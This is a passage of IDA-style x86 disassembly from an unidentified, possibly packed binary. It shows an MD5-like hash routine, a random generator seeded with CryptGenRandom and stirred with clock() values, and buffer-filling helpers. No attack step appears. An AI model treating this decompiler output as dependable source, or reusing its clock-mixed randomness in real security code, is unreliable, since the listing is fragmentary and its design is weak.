		lea	eax, [ecx+eax+676F02D9h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-944B4B0h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-41404390h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-155ED806h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4881D05h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+432AFF97h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-36C5FC7h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+655B59C3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-100B83h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6FA87E4Fh]


loc_41005C:				; DATA XREF: MEW:off_41A8CCo
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1D31920h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-8AC817Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-14792C6Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		leave
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410244	proc near		; CODE XREF: sub_40F3CE+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_410263
; ---------------------------------------------------------------------------


loc_410253:				; CODE XREF: sub_410244+66j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_410263:				; CODE XREF: sub_410244+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_4102AC
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+1]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+2]
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+3]
		shl	ecx, 18h
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		jmp	short loc_410253
; ---------------------------------------------------------------------------

locret_4102AC:				; CODE XREF: sub_410244+25j
		leave
		retn
sub_410244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102AE	proc near		; CODE XREF: MEW:004168D0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_417024	; CryptAcquireContextA
		push	offset dword_41EAAC
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAB0
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAB4
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAB8
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	dword_41701C	; CryptReleaseContext
		leave
		retn
sub_4102AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410318	proc near		; CODE XREF: sub_4103F5+6p
					; sub_410422+6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lock xadd dword_41EAAC,	eax
		add	eax, ebx
		lock xadd dword_41EAB0,	eax
		add	eax, ecx
		lock xadd dword_41EAB4,	eax
		add	eax, edx
		lock xadd dword_41EAB8,	eax
		add	eax, esi
		lock xadd dword_41EAAC,	eax
		add	eax, edi
		lock xadd dword_41EAB0,	eax
		add	eax, ebp
		lock xadd dword_41EAB4,	eax
		add	eax, esp
		lock xadd dword_41EAB8,	eax
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_41EAAC,	eax
		lock xadd dword_41EAB0,	eax
		lock xadd dword_41EAB4,	eax
		lock xadd dword_41EAB8,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_41EAB4,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_41EAB0,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_41EAAC,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_41EAB8,	edx
		lock xadd dword_41EAB4,	ecx
		lock xadd dword_41EAB0,	ebx
		lock xadd dword_41EAAC,	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; CODE XREF: sub_4020C2+10Bp
					; sub_4040E8+2Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB8,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4103F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410422	proc near		; CODE XREF: sub_40CF2F:loc_40CFBCp
					; sub_40D871+D3Fp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB8,	eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043F	proc near		; CODE XREF: sub_4055E5+715p
					; sub_4055E5+78Bp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB4,	eax
		and	eax, 0FFFFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41043F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410461	proc near		; CODE XREF: sub_4104A3+42p
					; sub_4125DF:loc_4126B8p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB0,	eax
		and	eax, 0FFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410483	proc near		; CODE XREF: sub_4055E5+72Bp
					; sub_40D7E5+57p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAAC,	eax
		and	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104A3	proc near		; CODE XREF: sub_40A9CF+D4Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4104AF
		jmp	short locret_4104FF
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_4104A3+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4104B5:				; CODE XREF: sub_4104A3+34j
		cmp	[ebp+arg_4], 3
		jbe	short loc_4104D9
		call	sub_410422
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		jmp	short loc_4104B5
; ---------------------------------------------------------------------------


loc_4104D9:				; CODE XREF: sub_4104A3+16j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax


loc_4104DF:				; CODE XREF: sub_4104A3+5Aj
		cmp	[ebp+arg_4], 0
		jbe	short locret_4104FF
		call	sub_410461
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4104DF
; ---------------------------------------------------------------------------

locret_4104FF:				; CODE XREF: sub_4104A3+Aj
					; sub_4104A3+40j
		leave
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410501	proc near		; CODE XREF: sub_403260+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_410510
		xor	eax, eax
		jmp	short locret_41055D
; ---------------------------------------------------------------------------


loc_410510:				; CODE XREF: sub_410501+9j
		cmp	[ebp+arg_10], 0
		jnz	short loc_41051C
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_10], eax


loc_41051C:				; CODE XREF: sub_410501+13j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_410532:				; CODE XREF: sub_410501+57j
		cmp	[ebp+var_4], 0
		jbe	short loc_41055A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_410532
; ---------------------------------------------------------------------------


loc_41055A:				; CODE XREF: sub_410501+35j
		mov	eax, [ebp+var_8]

locret_41055D:				; CODE XREF: sub_410501+Dj
		leave
		retn
sub_410501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; CODE XREF: MEW:004168E1p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EAC0
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, byte_41EAC0
		mov	edi, esi
		push	10h
		pop	ecx


loc_41059F:				; CODE XREF: sub_41055F+47j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_41059F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41055F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


